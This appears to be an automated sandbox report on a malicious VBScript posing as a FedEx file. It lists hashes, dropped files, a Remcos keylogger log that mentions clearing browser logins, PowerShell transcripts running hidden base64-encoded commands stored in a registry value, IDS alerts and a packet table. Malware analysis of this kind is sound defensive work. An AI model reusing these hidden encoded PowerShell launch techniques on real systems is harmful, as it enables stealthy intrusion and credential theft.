                            SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2WXp+N23fJ6qzxs7+AEszIWXp+N23fJ6h9n:p37Lvkmb6KHhfWZE8hQ9
                            MD5:B907ECA574C06990FA05BDF55E900AF5
                            SHA1:09FB6894BFC6761065A6162062D56D4682F3DEAB
                            SHA-256:00149F5AF310F566B64A13E0C38BBE680865935D0AFFBF327CF24ECAAF042EF3
                            SHA-512:7E313368F324785A34A513C08EA6856FFEB00C76C40CE6A6C4552C230AD3408066B63A43423A50680ADDB52AA62BCB2CD781177DC5E90A8D4E0B9F04C56E6969
                            Malicious:false
                            Reputation:unknown
                            Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\yy0zjl34.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\yy0zjl34.0.cs"

                            C:\Users\user\AppData\Local\Temp\yy0zjl34.dll

                            Download File
                            Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                            Category:dropped
                            Size (bytes):3584
                            Entropy (8bit):3.203984371038178
                            Encrypted:false
                            SSDEEP:48:6OPDc8usu0kJwPF2+9gtEH1ulKl8a3jljq:nDc8usupCLgthA8KZ
                            MD5:D22D9B0B09FA15E00141CBCBDFAE1301
                            SHA1:21AA769A4A4DF0B61E927BB1BFDFB251726FE824
                            SHA-256:FA03FA068DABDC268980A2653C1BB5390D95FBEC37C07BF740D09CFA1745A6D5
                            SHA-512:B3613CA2604D2D7E72CFDFBB6EFF40BF6361484D24CAFC163334E7C390AB0A653F2CB71FA1B7DE400E98A13C5E57F4C17708FE53E4D8B27639E5D70C78079816
                            Malicious:false
                            Reputation:unknown
                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...G\.a...........!................n%... ...@....... ....................................@..................................%..O....@.......................`....................................................... ............... ..H............text...t.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................P%......H.......P ..............................................................BSJB............v4.0.30319......l.......#~.. ...(...#Strings....H.......#US.P.......#GUID...`...l...#Blob...........G.........%3............................................................2.+.....d.....d.......................................... 9............ Q............ ].!.......... f.+.......v...........................................................................................................(.

                            C:\Users\user\AppData\Local\Temp\yy0zjl34.out

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
                            Category:modified
                            Size (bytes):846
                            Entropy (8bit):5.335305216655979
                            Encrypted:false
                            SSDEEP:12:xKqR37Lvkmb6KHhfWZE8hQ4KaMK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:Aqd3ka6KH2E8ZKaM5DqBVKVrdFAMBJTH
                            MD5:62E97906E41AF478E45642B6ACCEF0E8
                            SHA1:48C2463FC1CFB502FBA57D68B8ED09C08A738E12
                            SHA-256:2FAF6029B76249BEA7BEB4303A5B71546F9DEE946FF38B570B1A36AA48FFA96E
                            SHA-512:266F20407B1EF3D76FCF699A6DC53E0F4C79D3F5CEB526A4D846338F0AB72EF9E8889C203201F6C708558930F99FB00A826661C975EF3D98B6CD1BD600E6C30E
                            Malicious:false
                            Reputation:unknown
                            Preview:.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\yy0zjl34.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\yy0zjl34.0.cs"......Microsoft (R) Visual C# Compiler version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                            C:\Users\user\AppData\Roaming\remcos\logs.dat

                            Download File
                            Process:C:\Program Files (x86)\Internet Explorer\ieinstal.exe
                            File Type:data
                            Category:dropped
                            Size (bytes):760
                            Entropy (8bit):3.4955535682759646
                            Encrypted:false
                            SSDEEP:12:asD1ecAuR5iXt8LVtoiaEPLYEwfaipgQgWFe58+feW1+feW+:fQcXzo6QpdgWq8+feW1+feW+
                            MD5:62B5144F940979F0659FFA6B9FBD0F11
                            SHA1:1D15D8C46D5C6BF297DB5998B0FAF3469ED1D3D9
                            SHA-256:E25285C1307C85775824210E3CE0B760C7D7444C7F27FC93E16D06B5CBC01A82
                            SHA-512:9F08ED765B925F9ED41B1BFCE4098C9C41D0F0E373DB601179D72509655AF51D00DF53B11A00724BFFC21B8BC61DA19C9034667CF74E4294A5FA6C549C3D7876
                            Malicious:false
                            Reputation:unknown
                            Preview:....[.2.0.2.2./.0.1./.2.1. .1.7.:.2.1.:.0.2. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].......[.I.E. .c.o.o.k.i.e.s. .c.l.e.a.r.e.d.!.]...[.F.i.r.e.f.o.x. .C.o.o.k.i.e.s. .n.o.t. .f.o.u.n.d.]...[.F.i.r.e.f.o.x. .S.t.o.r.e.d.L.o.g.i.n.s. .n.o.t. .f.o.u.n.d.]...[.C.h.r.o.m.e. .C.o.o.k.i.e.s. .f.o.u.n.d.,. .c.l.e.a.r.e.d.!.]...[.C.h.r.o.m.e. .S.t.o.r.e.d.L.o.g.i.n.s. .f.o.u.n.d.,. .c.l.e.a.r.e.d.!.]...[.C.l.e.a.r.e.d. .b.r.o.w.s.e.r.s. .l.o.g.i.n.s. .a.n.d. .c.o.o.k.i.e.s...].......[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....[.W.i.n.].r.....[.C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.\.c.m.d...e.x.e.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].........[.C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.\.c.m.d...e.x.e.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

                            C:\Users\user\Documents\20220121\PowerShell_transcript.936905.4mIv9YDg.20220121172114.txt

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with CRLF line terminators
                            Category:dropped
                            Size (bytes):988
                            Entropy (8bit):5.44631759602127
                            Encrypted:false
                            SSDEEP:24:BxSAC4xvBnIx2DOXU4s9r4EWGHjeTKKjX4CIym1ZJXao9r4w:BZCMvhIoO3/GqDYB1Zghw
                            MD5:0EC084B217C2F41A7D7CF4F115A8A503
                            SHA1:ED92826ECD6A5BABDE86FD39C95A38292A9B2D34
                            SHA-256:A213EF9DC6A8EC55AA131D3794E5A709EA7B66E4EEC692FB75C950D44381B3BC
                            SHA-512:01C1401A01D9B930BA94234001CBFBF9477FE55B326DC9C8EF081F7075E618B7D0EBD665F82AE76DCF5B3B00F0783D00674CE89F12A00CAF8925ABE4ACEFC25E
                            Malicious:false
                            Reputation:unknown
                            Preview:.**********************..Windows PowerShell transcript start..Start time: 20220121172133..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 936905 (Microsoft Windows NT 10.0.17134.0)..Host Application: c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)..Process ID: 7072..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..**********************..**********************..Command start time: 20220121172134..**********************..PS>$Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)..

                            C:\Users\user\Documents\20220121\PowerShell_transcript.936905.D1RoMi0p.20220121172156.txt

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
                            Category:dropped
                            Size (bytes):11496
                            Entropy (8bit):5.101438909284681
                            Encrypted:false
                            SSDEEP:192:ZWzio+kbnOvbiQ9MAWdqKK+DUNCieJVU+Ghuhwy4/f07VbNVbpdAt5kY6GRXvCTb:ZWz7+MnqNWdqKK+ANCikU+Ghuhw5f079
                            MD5:9CDACE65DE2EBD03B4778306EC880CCD
                            SHA1:D0E73803E8A90C57D3D8947C4E4EF94BCBD66A1C
                            SHA-256:5D6A312D77B27AA42812A3F7F334693FC5774D814873B4FB3782354FF3C7DC73
                            SHA-512:ECDB9E9CEEA341992FBA832C775AF91095D5F1AF4CBCCBF1BF061D692F2A7690B44E010ED6F5D03CAEDAA46CE38272A80D204F2DEC9633CA47A868CAE353B982
                            Malicious:false
                            Reputation:unknown
                            Preview:.**********************..Windows PowerShell transcript start..Start time: 20220121172225..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 936905 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANA

                            C:\Users\user\Documents\20220121\PowerShell_transcript.936905.KCw_zsFX.20220121171948.txt

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
                            Category:dropped
                            Size (bytes):11612
                            Entropy (8bit):5.113609342401088
                            Encrypted:false
                            SSDEEP:192:YGWzio+kbnOvbiQ9MAWdqKK+DUNCieJVU+Ghuhwy4/f07VbNVbpdAt5kY6GbXvCz:YGWz7+MnqNWdqKK+ANCikU+Ghuhw5f0j
                            MD5:B4B824725B79F10F94CF660A81244798
                            SHA1:D0C09FBC299AFB884E1B78E1FF6889E574437846
                            SHA-256:0C595BF5AF37DE735B18ED6CADDEE668ED86B8EF0B8AD702C849779352307C31
                            SHA-512:74C4534AA8361487FBDF3CDA6B94FE2255C22245718606646035940D1DFD5D517E276A34201F7C10A77C07087F852B4A6DCFDB351D5D37D6DE6F1CB92EAC6E98
                            Malicious:false
                            Reputation:unknown
                            Preview:.**********************..Windows PowerShell transcript start..Start time: 20220121172001..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 936905 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -EncodedCommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAc

                            C:\Users\user\Documents\20220121\PowerShell_transcript.936905.XaMWoUUI.20220121172118.txt

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with CRLF line terminators
                            Category:dropped
                            Size (bytes):988
                            Entropy (8bit):5.443752842666434
                            Encrypted:false
                            SSDEEP:24:BxSACMxvBnIx2DOXU4s9r4EWnHjeTKKjX4CIym1ZJXaL9r4w:BZCQvhIoO3/nqDYB1ZgKw
                            MD5:7AE0FE7E7E225B86E5E37AA31C226C5E
                            SHA1:BC635767F3C52EF9059B85D9DDE36E4AF372A502
                            SHA-256:7EF5F44B981096AE1DE147595FEF41A51EE2A53D90D17211D527A3C716587779
                            SHA-512:5C5547DD424389204427C679255E5CA0B5E075E5D08DC8A80FDC24ADBCA1CE3CB0D405F6273209288B4947E8820A67C7E8E6A51A724E370B6164E7F8401FF851
                            Malicious:false
                            Reputation:unknown
                            Preview:.**********************..Windows PowerShell transcript start..Start time: 20220121172120..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 936905 (Microsoft Windows NT 10.0.17134.0)..Host Application: c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)..Process ID: 3024..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..**********************..**********************..Command start time: 20220121172120..**********************..PS>$Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)..

                            C:\Users\user\Documents\20220121\PowerShell_transcript.936905.p0XZL_7o.20220121172125.txt

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
                            Category:dropped
                            Size (bytes):11632
                            Entropy (8bit):5.1152030137799445
                            Encrypted:false
                            SSDEEP:192:XWzio+kbnOvbiQ9MAWdqKK+DUNCieJVU+Ghuhwy4/f07VbNVbpdAt5kY6GmfXvCz:XWz7+MnqNWdqKK+ANCikU+Ghuhw5f07C
                            MD5:7B3337C0D3444E77B42B5341AD46C3CF
                            SHA1:CDCD9EF3ACF2E04356EB1A673C7B74851FE6C98D
                            SHA-256:7C70E4DAD60EECDD44EFDB5FAC759105451ABBF83F15CC496559313F7D641DDE
                            SHA-512:B31BFF24AD6AAD707A8A7DB8BB7007018FE6FB365914F52103399D2BC95DCFB74906675D4BB2399A6A840ACDC0A2F39192F2CBF7069910F4B0166E2A77EBD0DD
                            Malicious:false
                            Reputation:unknown
                            Preview:.**********************..Windows PowerShell transcript start..Start time: 20220121172151..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 936905 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANA

                            Static File Info

                            General

                            File type:ASCII text, with CRLF line terminators
                            Entropy (8bit):5.011563758748638
                            TrID:
                            • Visual Basic Script (13500/0) 100.00%
                            File name:775578748333_FEDEX.vbs
                            File size:77526
                            MD5:5d3ad82ef16521df753bc6baff37f72f
                            SHA1:ac4df3a47570b88a4768c2c461b15f78b99753dd
                            SHA256:19469f11cba8ab55b84cf26efa8835e906d07fdb73572c9ee3594e5c44c798bf
                            SHA512:3e83cadcfdd061c49dc09c4cbedb99d6fa3eade1d83e7e549406c7631955a02fced9e3eba61d6d8ffc056cb0429ced5ca21c2976871b64f8c5d778ff9a5e1790
                            SSDEEP:1536:LLw5NaanH4eVprnmnk91iv2SZTcWsyuFrTkOiPVz7p:LYVYrNv3sRO3p
                            File Content Preview:'Kingdomf3 Kysse1 jargoniumn indstvnin Ballooning anom BUTTON refusere Tosaphot5 landar Modtage Billarde Chel7 Swall1 konsekv Legen Superurgen6 CLAMSH Arealets NONLITI Elitersunp2 Eksorb8 STINAMUSI Syncateg3 Skjorterm3 Konfis1 Under6 Enke HYPERVIG ..'Strm

                            File Icon

                            Icon Hash:e8d69ece869a9ec4

                            Network Behavior

                            Snort IDS Alerts

                            TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                            01/21/22-17:21:04.003572UDP254DNS SPOOF query response with TTL of 1 min. and no authority53578758.8.8.8192.168.2.3

                            Network Port Distribution

                            TCP Packets

                            TimestampSource PortDest PortSource IPDest IP
                            Jan 21, 2022 17:20:59.558741093 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:20:59.558780909 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:20:59.559036970 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:20:59.596667051 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:20:59.596684933 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:00.348934889 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:00.349113941 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:00.754266977 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:00.754298925 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:00.754651070 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:00.758584023 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:00.761658907 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:00.801876068 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.010226011 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.010581017 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.259124041 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.259143114 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.259177923 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.259279966 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.259305954 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.259321928 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.259386063 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.259393930 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.259486914 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.506932974 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.506959915 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.507013083 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.507189989 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.507219076 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.507236004 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.507307053 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.507348061 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.507349014 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.507366896 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.507411957 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.507457972 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.755094051 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.755120039 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.755153894 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.755372047 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.755388975 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.755399942 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.755444050 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.755481958 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.755522966 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.755558968 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.755564928 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.755621910 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.755690098 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.755719900 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.755759954 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.755767107 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.755800009 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.755834103 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.755949020 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.755985975 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.756026030 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.756031990 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.756108999 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.756251097 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.756283998 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.756335974 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.756344080 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.756381989 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.756408930 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.756453037 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.756489992 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.756526947 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.756532907 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.756581068 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.756671906 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.756702900 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.756750107 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.756757975 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:01.756787062 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:01.756814957 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.003005981 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.003026962 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.003063917 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.003202915 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.003216982 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.003263950 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.004607916 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.004643917 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.004729033 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.004745007 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.004797935 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.005104065 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.005135059 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.005199909 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.005215883 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.005264997 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.005428076 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.005456924 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.005518913 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.005533934 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.005585909 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.005706072 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.005734921 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.005788088 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.005804062 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.005834103 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.005883932 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.006019115 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.006051064 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.006108046 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.006119967 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.006150961 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.006172895 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.006287098 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.006314993 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.006376982 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.006386995 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.006433964 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.006565094 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.006603003 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.006644011 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.006653070 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.006690025 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.006715059 CET49756443192.168.2.352.68.15.223
                            Jan 21, 2022 17:21:02.008626938 CET4434975652.68.15.223192.168.2.3
                            Jan 21, 2022 17:21:02.008662939 CET4434975652.68.15.223192.168.2.3
